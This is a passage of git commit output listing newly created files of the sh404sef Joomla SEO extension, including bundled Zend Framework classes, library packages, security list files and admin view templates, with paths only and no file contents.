deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Exception.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/Stream.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/AbstractDevice.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Bot.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Checker.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Console.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Desktop.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Device.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Email.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Exception.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/DeviceAtlas.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/TeraWurfl.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/WurflApi.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Exception.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Feed.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Mobile.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Offline.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Probe.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Spam.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/Exception.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/NonPersistent.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/Session.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Text.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Validator.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/Interface.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/Resource.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Exception.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/PluginLoader.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/PluginLoader/Exception.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/PluginLoader/Interface.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/PluginLoader/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/Exception.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/Http.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/apc.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/manager.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/memcache.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/memcached.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/cache/wincache.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/classes/class.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/classes/dbrecord.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/classes/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/exceptions/exception.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/exceptions/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/helpers/helper.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/helpers/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/db/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/exception/exception.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/exception/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/html/bses/helper.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/html/bses/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/html/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/html/modals/helper.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/html/modals/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/controllers/base.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/controllers/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/layouts/base.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/layouts/file.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/layouts/helper.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/layouts/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/layouts/layout.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/models/admin.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/models/base.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/models/form.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/models/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/models/item.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/models/list.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/views/base.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/mvc/views/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/system/abstractdecorator.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/system/autoloader.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/system/convert.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/system/cycle.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/system/date.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/system/email.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/system/factory.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/system/http.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/system/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/system/log.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/system/resourcemanager.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/system/strings.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/system/xml.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3popupstandardbutton.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3popuptoolbarbutton.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3shajaxtoolbarbutton.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopupstandardbutton.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopuptoolbarbutton.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shlib.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shlib.xml create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shmobile/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shmobile/shmobile.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shmobile/shmobile.xml create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/security/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_IP_black_list.dat create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_IP_white_list.dat create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_uAgent_black_list.dat create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/security/sh404SEF_uAgent_white_list.dat create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/sh404sef.class.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/sh404sef.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/sh404sef.xml create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/sh404seffactory.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/shSEFConfig.class.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/sh_Net_URL.class.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/tables/aliases.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/tables/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/tables/metas.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/tables/pageids.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/tables/urls.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j2.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j2_filters.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j3.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/default_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/tmpl/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/view.html.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/view.html.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/aliases/view.raw.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_dashboard.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_filters.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_global.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_headers.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_perf.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_sources.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_top5referrers.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_top5urls.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialfb.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialpinterest.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialplusone.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialplusonepage.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_topsocialtweeter.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j2_visits.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_dashboard.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_filters.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_global.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_headers.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_perf.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_sources.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_top5referrers.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_top5urls.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialfb.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialpinterest.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialplusone.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialplusonepage.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_topsocialtweeter.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/default_j3_visits.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/tmpl/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/view.html.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/view.html.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/analytics/view.raw.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/close_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/close_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_404.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_by_component.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_default.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/default_j3_permissions.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/qcontrol_j2.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/qcontrol_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/qcontrol_j3.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/qcontrol_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/tmpl/refresh_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/view.html.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/configuration/view.raw.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/default_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/default_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/tmpl/refresh_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/view.html.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/confirm/view.raw.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/default/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/default_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/default_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/info_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/info_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/secstats_j2.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/secstats_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/secstats_j3.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/secstats_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/updates_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/default/tmpl/updates_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/default/view.html.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/default/view.html.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/default/view.raw.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j2.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j2_filters.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j3.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/default_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/tmpl/refresh_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/view.html.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/duplicates/view.html.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editalias/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editalias/tmpl/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editalias/tmpl/refresh.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editalias/view.raw.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/default_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/default_j2_redirect.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/default_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/tmpl/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/view.html.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editnotfound/view.raw.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/close_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_aliases.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_aliases.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_seo.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_seo.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_social_seo.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_social_seo.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_url.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j2_url.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_aliases.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_aliases.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_seo.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_seo.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_social_seo.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_social_seo.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_url.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/default_j3_url.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/tmpl/refresh_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/view.html.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/view.html.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/editurl/view.raw.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/metas/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j2.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j2.php create mode 100644 